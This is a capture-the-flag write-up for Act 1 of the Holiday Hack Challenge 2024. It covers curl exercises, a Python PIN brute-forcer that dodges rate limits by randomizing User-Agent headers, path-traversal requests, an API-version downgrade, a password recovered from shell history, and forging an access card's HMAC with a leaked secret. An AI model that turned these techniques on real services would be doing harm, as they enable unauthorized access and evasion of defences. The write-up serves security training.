Skip to content

Act 1⚓︎

Story of Act 1:

With Santa away, Wombley Cube and Alabaster Snowball have each tried to lead. Surely they won't mess up the naughty and nice list...
Help Bow, Morcel, and Jewell solve their challenges.
This division among the elves can't be good. Surely it won't get any worse.

Upon teleporting to Act 1, we are teleported to the Front Yard (Act 1) and obtain 4 fresh new objectives!

We also have access to the map!

cURLing⚓︎

cURLing

Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!

After navigating West to Bow Ninecandle, we find our next challenge of cURLing.

When speaking with Bow Ninecandle, we obtain the following hints:

Don't squash

Take a look at cURL's --path-as-is option; it controls a default behavior that you may not expect!

cURL Manual

The official cURL man page has tons of useful information on how to use cURL.

cURLing Terminal Challenge (Silver)⚓︎

After clicking on the terminal, we get a new terminal challenge:

Question 1: Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports. Use curl to retrieve the web page on host curlingfun port 8080. HINT: Use a colon after the hostname to specify the port number, such as: curl http://curlingfun:8080/

alabaster@curlingfun:~$ curl http://curlingfun:8080
You have successfully accessed the site on port 8080!

Question 2: Embedded devices often use self-signed certificates, where your browser will not trust the certificate presented. Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/ HINT: curl has an "--insecure" option that can be used to ignore security warnings, such as self-signed certificates.

alabaster@curlingfun:~$ curl --insecure https://curlingfun:9090/
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

Question 3: Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter skip set to the value alabaster, declaring Alabaster as the team captain. HINT: Use curl's --data option to pass HTTP POST parameters, such as: curl --insecure --data "name=value" https://curlingfun:9090/

alabaster@curlingfun:~$ curl --insecure --data "skip=alabaster" https://curlingfun:9090/
You have successfully made a POST request!

Question 4: Working with APIs and embedded devices often requires maintaining session state by passing a cookie. Use curl to send a request to https://curlingfun:9090/ with a cookie called end with the value 3, indicating we're on the third end of the curling match. HINT: Use curl's --cookie option to pass cookies, such as: curl --insecure --cookie "name=value" https://curlingfun:9090/

alabaster@curlingfun:~$ curl --insecure --cookie "end=3" https://curlingfun:9090/
You have successfully set a cookie!

Question 5: Working with APIs and embedded devices sometimes requires working with raw HTTP headers. Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/ HINT: Use curl's --verbose option to view HTTP headers, such as: curl --insecure --verbose https://curlingfun:9090/

alabaster@curlingfun:~$ curl --insecure --verbose https://curlingfun:9090/
> GET / HTTP/1.1
> Host: curlingfun:9090
> User-Agent: curl/7.81.0
> Accept: */*
>
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 30 Dec 2024 08:45:03 GMT
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Custom-Header: You have found the custom header!
<
You have successfully bypassed the self-signed certificate warning!
Subsequent requests will continue to require "--insecure", or "-k" for short.

Question 6: Working with APIs and embedded devices sometimes requires working with custom HTTP headers. Use curl to send a request to https://curlingfun:9090/ with an HTTP header called Stone and the value Granite. HINT: Use curl's --header option to pass custom headers, such as: curl --insecure --header "Name: Value" https://curlingfun:9090/

alabaster@curlingfun:~$ curl --insecure --header "Stone: Granite" https://curlingfun:9090/
You have successfully set a custom HTTP header!

Question 7: curl will modify your URL unless you tell it not to. For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks HINT: Use curl's --path-as-is option to prevent curl from modifying your URL.

alabaster@curlingfun:~$ curl --insecure --path-as-is https://curlingfun:9090/../../etc/hacks
You have successfully utilized --path-as-is to send a raw path!

After completing question 7, we obtain the silver challenge award.

Achievement

Congratulations! You have completed the [Silver] cURLing challenge!

cURLing Terminal Challenge (Gold)⚓︎

The next challenge is very similar to the silver, but have to combine a few things. There is a file HARD-MODE.txt in the home folder that describes the challenge.

alabaster@curlingfun:~$ cat HARD-MODE.txt
Prefer to skip ahead without guidance?  Use curl to craft a request meeting these requirements:

- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"
- Cookie "end" set to "10"
- Header "Hack" set to "12ft"

alabaster@curlingfun:~$ curl --insecure --data 'skip=bow' --cookie 'end=10' --header 'Hack: 12ft' https://curlingfun:9090/
Excellent!  Now, use curl to access this URL: https://curlingfun:9090/../../etc/button

alabaster@curlingfun:~$ curl --insecure --path-as-is https://curlingfun:9090/../../etc/button
Great!  Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship

alabaster@curlingfun:~$ curl --insecure --location https://curlingfun:9090/GoodSportsmanship
Excellent work, you have solved hard mode!  You may close this terminal once HHC grants your achievement.
Achievement

Congratulations! You have completed the [Gold] cURLing challenge!

Frosty Keypad⚓︎

Frosty Keypad

In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa's lost secrets?

After heading east, we meet Morcel Nougat next to our next challenge of Frosty Keypad.

When speaking with Morcel Nougat, we obtain the following hints:

Shine Some Light on It

Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch...but...what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used...

Just Some Light Reading

See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by...

Who Are You Calling a Dorf?

Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a National Treasure!

Exploring around, we find a UV flashlight, behind the present boxes. This will be handy in the next challenge.

Exploring around, we find a book behind the present boxes. This will be handy in the next challenge.

Frosty Keypad Terminal Challenge (Silver)⚓︎

After clicking on the terminal challenge, we are presented with a number pad:

When entering the digits, a max of 5 digits can be entered. We can click on the top left notepad for a cipher that is utilized with the book to find the correct cipher. This looks like it identifies the 5 digit combination. Since we have 14 pages, the max first digit is 14 - it could signify the page number. The second digit could represent a word and the third a letter!

As shown in the example below, we can go through the book and find the following letters from the cipher: S, A, N, T, A which spells SANTA!

Now to map letters to numbers, we can use a telephone keypad where 2 = abc, 3 = def, etc. like below:

This reveals the following pin: 72682 which corresponds to the letters SANTA and we obtain the silver challenge award.

Achievement

Congratulations! You have completed the [Silver] Frosty Keypad challenge!

Frosty Keypad Terminal Challenge (Gold)⚓︎

We can use the UV flashlight on each of the keys, and it highlights on 2, 6, 7, 8, and Enter. Example image below:

When pressing the ENTER key a POST request to https://hhc24-frostykeypad.holidayhackchallenge.com/submit?id=<resourceid> with the post JSON data of {"answer":"11111"}. We need to narrow it down further as that can be a possible of 10,000 combinations ...

Since there is a max of 5 digits, then one must repeat, but only once. We can automate this using python. There also is server-side rate-limiting protections that are easily bypassable by randomizing the user-agent header in the request.

brute_frostykeypad.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to bruteforce the combination 
Holiday Hack 2024 - Frosty Keypad
"""

# Imports
from concurrent.futures import ThreadPoolExecutor
import requests
import uuid
from itertools import product


# Function to send POST request for a given combination
def submit_combination(combination):
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0 " + str(uuid.uuid4())}
    response = requests.post("https://hhc24-frostykeypad.holidayhackchallenge.com/submit", headers=headers, json={"answer": combination})
    if response.status_code == 200:
        print(f"[+] Valid combination: {combination}, Status Code: {response.status_code}")


def main():
    # Possible pin combinations
    possible_pins = []
    for pin in product([2, 6, 7, 8], repeat=5):
        # Check if a combination is valid (no more than one repeating digit)
        if len(set(pin)) == 4 and len(pin) == 5:
            possible_pins.append("".join(map(str, pin)))
    print(f"[*] {len(possible_pins)} possible pins. Testing now ...")

    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(submit_combination, possible_pins)


if __name__ == "__main__":
    main()
python3 brute_frostykeypad.py
[*] 240 possible pins. Testing now ...
[+] Valid combination: 22786, Status Code: 200
[+] Valid combination: 72682, Status Code: 200

We obtain two valid digit combinations! Entering in 22786 earns us the gold completion!

Achievement

Congratulations! You have completed the [Gold] Frosty Keypad challenge!

Hardware Hacking 101⚓︎

Hardware Hacking 101 - Part 1

Ready your tools and sharpen your wits—only the cleverest can untangle the wires and unlock Santa’s hidden secrets!

When speaking with Morcel Nougat, he provides an item One Thousand Little Teeny Tiny Shredded Pieces of Paper:

When speaking with Morcel Nougat, we obtain the following hint:

On the Cutting Edge

Hey, I just caught wind of this neat way to piece back shredded paper! It's a fancy heuristic detection technique—sharp as an elf’s wit, I tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec: heuristic_edge_detection.py."

After heading south, we are met with Jewel Loggins next to Hardware Hacking Part 1 and Part 2 challenges.

When speaking with Jewel Loggins, we obtain the following hint:

Shredded to Pieces

Have you ever wondered how elves manage to dispose of their sensitive documents? Turns out, they use this fancy shredder that is quite the marvel of engineering. It slices, it dices, it makes the paper practically disintegrate into a thousand tiny pieces. Perhaps, just perhaps, we could reassemble the pieces?

There are 2 sections we need to complete for the full completion.

Hardware Hacking 101 Part 1⚓︎

Hardware Hacking 101 - Part 1

Jingle all the wires and connect to Santa's Little Helper to reveal the merry secrets locked in his chest!

Assemble Morcel Nougat Document⚓︎

To assist in the upcoming challenge, we need to assembling the One Thousand Little Teeny Tiny Shredded Pieces of Paper: back together. We can run the heuristic_edge_detection.py Python script hinted by Morcel Nougat.

mv heuristic_edge_detection.py assmeble_hardwarehacking101.py
python3 assmeble_hardwarehacking101.py
open assembled_image.png

However, the image isn't quite right. We can fix this image using imagemagick or manually using MSPaint/Gimp by moving the left side image over to the right and then flipping it horizontally.

# Install required utility
sudo apt install imagemagick
# Step 1: Crop the left portion
convert assembled_image.png -gravity East -chop 75%x0 -flop left.png
# Step 2: Crop the right portion
convert assembled_image.png -chop 25%x0 -flop right.png
# Step 3: Combine the images
convert left.png right.png +append output.jpg
# Step 4: Open image
open output.jpg

The resultant image:

However, the image isn't perfect, lets take a look at each slice of the image. Inspecting the metadata, we notice the User Comment field has an interesting base64 string.

exiftool slices/0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg
ExifTool Version Number         : 13.00
File Name                       : 0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg
Directory                       : slices
File Size                       : 1127 bytes
File Modification Date/Time     : 2024:10:16 15:14:27-04:00
File Access Date/Time           : 2024:10:16 15:14:27-04:00
File Inode Change Date/Time     : 2024:10:16 15:14:27-04:00
File Permissions                : -rwx------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
User Comment                    : WyIwZ1RPIiwgIm1pIl0=
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 1
Image Height                    : 1000
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1x1000
Megapixels                      : 0.001

The number corresponds to the sorting order of the slices and combining them in the correct order should make a complete, perfect image.

exiftool -UserComment ./slices/0d1ffcda-f513-42d4-adf7-818dd7ef1407.jpg | awk '{print $4}' | base64 -d
["0gTO", "mi"]
echo -n 0gTO | rev | base64 -d
984

We can use a script to combine the image based on this hidden metadata field!

papershreds_hardwarehacking.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to combine all the shreds of paper.
Holiday Hack 2024 - Hardware Hacking 101
"""

# Imports
import exif
import json
from base64 import b64decode
from pathlib import Path
from PIL import Image

# Dictionary to store metadata and images
metadata = {}
image_data = {}

# Process each .jpg file in the directory
for image_path in Path("slices").glob("*.jpg"):
    # Extract EXIF data from the image
    exif_data = exif.Image(image_path)

    # Decode and parse the custom user comment
    key_encoded, value_encoded = json.loads(b64decode(exif_data.user_comment))

    # Decode the index (key) and store the corresponding metadata (value)
    index = int(b64decode(key_encoded[::-1]))  # Reverse key before decoding
    metadata[index] = value_encoded

    # Open the image and store it with the index
    image_data[index] = Image.open(image_path)

# Reconstruct the metadata message by sorting and joining the values
reconstructed_message = "".join(value for _, value in sorted(metadata.items()))
print(reconstructed_message)  # Output the reconstructed message

# Sort images by their indices
sorted_images = [image for _, image in sorted(image_data.items())]

# Determine the total dimensions for the final combined image
total_width = sum(image.width for image in sorted_images)
max_height = max(image.height for image in sorted_images)

# Create a blank canvas for the combined image
combined_image = Image.new("RGB", (total_width, max_height))

# Paste each image onto the canvas, aligning them horizontally
offset_x = 0
for image in sorted_images:
    combined_image.paste(image, (offset_x, 0))
    offset_x += image.width  # Update horizontal offset

# Save the combined image to a file
result_path = "result.jpg"
combined_image.save(result_path)

# Open the combined image to verify the result
combined_image.show()

We can make out the following, that are serial connection parameters that will be useful for the upcoming challenge.

  • Baud: 115200 - This specifies the speed of communication in bits per second.
  • Parity: Even - Error-checking mechanism. Even parity means the total number of 1's in the data bits plus the parity bit is even.
  • Data: 7 Bits - Each transmitted character uses 7 bits, common in older communication protocols
  • Stop Bits: 1 Bit - Signifies the end of a data packet, allowing synchronization between sender and receiver
  • Flow Control: RTS - Request to Send, signifies that a signal is sent by the transmitting device to the receiving device to indicate that it wants to send data.

This looks a lot like serial connection parameters and will be useful for the next part of this challenge. Once we get to the actual challenge, the first thing we see is the elf trying to use the SLH to connect to some device with the hopes of finding Santa

Hardware Hacking Part 1 Terminal Challenge (Silver)⚓︎

After clicking on the terminal challenge, we are presented with a book that explains how to connect to Santa's Little Helper (SLH) Access Card Maintenance Tool.

Clicking out of the book, we see a microcontroller, NP2103 UART-Bridg,e and 4 colored wires to connect. We can now power on the device with the green P button, Zoom in (notated with [Zoom In], and configure it per the parameters in the recreated document above.

We can now connect the four colored wires as follows:

  • Connect Red to VCC - Voltage (Pins 1 to 1)
  • Connect Yellow to TX - Transmit (Pins 2 to 3 - Criss-cross)
  • Connect Green to RX - Receive (Pins 3 to 2 - Criss-cross)
  • Connect Black to GND - Ground (Pins 4 to 4)
  • Flip switch from 5V (Volts) to 3V (Volts) on top-right of UART controller:

Click the S (for Start) and we are able to establish a connection and obtain the silver challenge award.

Achievement

Congratulations! You have completed the [Silver] Hardware Hacking 101 Part 1 challenge!

Hardware Hacking Part 1 Terminal Challenge (Gold)⚓︎

Achievement

Congratulations! You have completed the [Gold] Elf Connect challenge!

Reading the JavaScript source code of main.js, there is a deprecated API URL of v1 that is commented on lines 875-876 when submitting our solution.

async function checkit(serial, uV) {
  // Retrieve the request ID from the URL query parameters
  const requestID = getResourceID(); // Replace 'paramName' with the actual parameter name you want to retrieve

  if (!requestID) {
    requestID = "00000000-0000-0000-0000-000000000000";
  }

  // Build the URL with the request ID as a query parameter
  // Word on the wire is that some resourceful elves managed to brute-force their way in through the v1 API.
  // We have since updated the API to v2 and v1 "should" be removed by now.
  // const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v1/complete`);
  const url = new URL(`${window.location.protocol}//${window.location.hostname}:${window.location.port}/api/v2/complete`);

Within Burp Repeater, modifying the submission POST request from API Version 2 v2 to API Version 1 v1 to earns us the gold completion!

Achievement

Congratulations! You have completed the [Gold] Hardware Hacking 101 Part 1 challenge!

Hardware Hacking 101 Part 2⚓︎

Hardware Hacking 101 - Part 2

Jingle all the wires and connect to Santa's Little Helper to reveal the merry secrets locked in his chest!

When speaking with Jewel Loggins, we obtain the following hints:

It's In the Signature

I seem to remember there being a handy HMAC generator included in CyberChef).

Hidden in Plain Sight

It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.

Hardware Hacking Part 2 Terminal Challenge (Silver)⚓︎

After clicking on the Part 2 terminal challenge, we first have a menu selection screen of startup the system normally or U-boot console. We select normal and are presented with the Santa's Little Helper - Access Card Maintenance Tool console:

From the current directory, we have a sqlite3 database called access_cards:

slh@slhconsole\> ls -la
total 156
drwxrwxr-t 1 slh  slh    4096 Nov 13 14:44 .
drwxr-xr-x 1 root root   4096 Nov 13 14:44 ..
-r--r--r-- 1 slh  slh     518 Oct 16 23:52 .bash_history
-r--r--r-- 1 slh  slh    3897 Sep 23 20:02 .bashrc
-r--r--r-- 1 slh  slh     807 Sep 23 20:02 .profile
-rw-r--r-- 1 root root 131072 Nov 13 14:44 access_cards
slh@slhconsole\> file access_cards
access_cards: SQLite 3.x database, last written using SQLite version 3040001, file counter 4, database pages 32, cookie 0x2, schema 4, UTF-8, version-valid-for 4

From the bash history we see a passcode of CandyCaneCrunch77:

slh@slhconsole\> history
    1  cd /var/www/html
    2  ls -l
    3  sudo nano index.html
    4  cd ..
    5  rm -rf repo
    6  sudo apt update
    7  sudo apt upgrade -y
    8  ping 1.1.1.1
    9  slh --help
   10  slg --config
   11  slh --passcode CandyCaneCrunch77 --set-access 1 --id 143
   12  df -h
   13  top
   14  ps aux | grep apache
   15  sudo systemctl restart apache2
   16  history | grep ssh
   17  clear
   18  whoami
   19  crontab -e
   20  crontab -l
   21  alias ll='ls -lah'
   22  unalias ll
   23  echo "Hello, World!"
   24  cat /etc/passwd
   25  sudo tail -f /var/log/syslog
   26  mv archive.tar.gz /backup/
   27  rm archive.tar.gz
   28  find / -name "*.log"
   29  grep "error" /var/log/apache2/error.log

According to Jewel Loggins, we need to modify access card 42 and obtain the silver challenge award.

slh@slhconsole\> slh --passcode CandyCaneCrunch77 --set-access 1 --id 42

       *   *   *   *   *   *   *   *   *   *   *
   *                                             *
*                                   *
 *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  *
  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *
   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *
    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\
   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *
  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *
*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *
 *  \__|  \__| \______/  \______/ \________| \______/  \______/  *
*         *                            *                   *
   *        *     *     *      *     *      *    *      *      *
   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *
   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *
  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*
  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *
 *   $$ |\_$$ |$$  __$$< $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*
  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *
*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *
 *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *
  *                                                                       *
   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *
Card 42 granted access level 1.
Achievement

Congratulations! You have completed the [Silver] Hardware Hacking 101 Part 2 challenge!

Hardware Hacking Part 2 Terminal Challenge (Gold)⚓︎

Speaking to Jewel Loggins again, we need to directly modify the database and generate the HMAC signature for the gold award.

Per Wikipedia - In cryptography, an HMAC (sometimes expanded as either keyed-hash message authentication code or hash-based message authentication code) is a specific type of message authentication code (MAC) involving a cryptographic hash function and a secret cryptographic key. As with any MAC, it may be used to simultaneously verify both the data integrity and authenticity of a message. An HMAC is a type of keyed hash function that can also be used in a key derivation scheme or a key stretching scheme.

In the sqlite3 database we discovered earlier, we can inspect it and find the HMAC Secret is stored in the config table under hmac_secret.

slh@slhconsole\> sqlite3 access_cards
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.

sqlite> .tables
access_cards  config

sqlite> .schema access_cards
CREATE TABLE access_cards (
            id INTEGER PRIMARY KEY,
            uuid TEXT,
            access INTEGER,
            sig TEXT
        );
sqlite> .schema config
CREATE TABLE config (
            id INTEGER PRIMARY KEY,
            config_key TEXT UNIQUE,
            config_value TEXT
        );
sqlite> SELECT * FROM access_cards WHERE id=42;
42|c06018b6-5e80-4395-ab71-ae5124560189|0|ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd
sqlite> SELECT * FROM config;
1|hmac_secret|9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e
2|hmac_message_format|{access}{uuid}
3|admin_password|3a40ae3f3fd57b2a4513cca783609589dbe51ce5e69739a33141c5717c20c9c1
4|app_version|1.0

We obtained a hint to use a handy HMAC generator included in CyberChef). In the input we enter the access value of 1 and then the UUID of c06018b6-5e80-4395-ab71-ae5124560189: 1c06018b6-5e80-4395-ab71-ae5124560189. For the HMAC Key, we input 9ed1515819dec61fd361d5fdabb57f41ecce1a5fe1fe263b98c0d6943b9b232e and then obtain the resulting HMAC signature of 135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096 as shown in the Completed URL&input=MWMwNjAxOGI2LTVlODAtNDM5NS1hYjcxLWFlNTEyNDU2MDE4OQ).

After running the following SQLite update query to set the access and correct HMAC signature, we obtain the gold challenge award!

sqlite> UPDATE access_cards SET access=1, sig="135a32d5026c5628b1753e6c67015c0f04e26051ef7391c2552de2816b1b7096" WHERE id=42;

       *   *   *   *   *   *   *   *   *   *   *
   *                                             *
*                                   *
 *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  *
  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *
   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *
    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\
   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *
  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *
*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *
 *  \__|  \__| \______/  \______/ \________| \______/  \______/  *
*         *                            *                   *
   *        *     *     *      *     *      *    *      *      *
   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *
   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *
  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*
  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *
 *   $$ |\_$$ |$$  __$$< $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*
  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *
*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *
 *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *
  *                                                                       *
   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *
Achievement

Congratulations! You have completed the [Gold] Hardware Hacking 101 Part 2 challenge!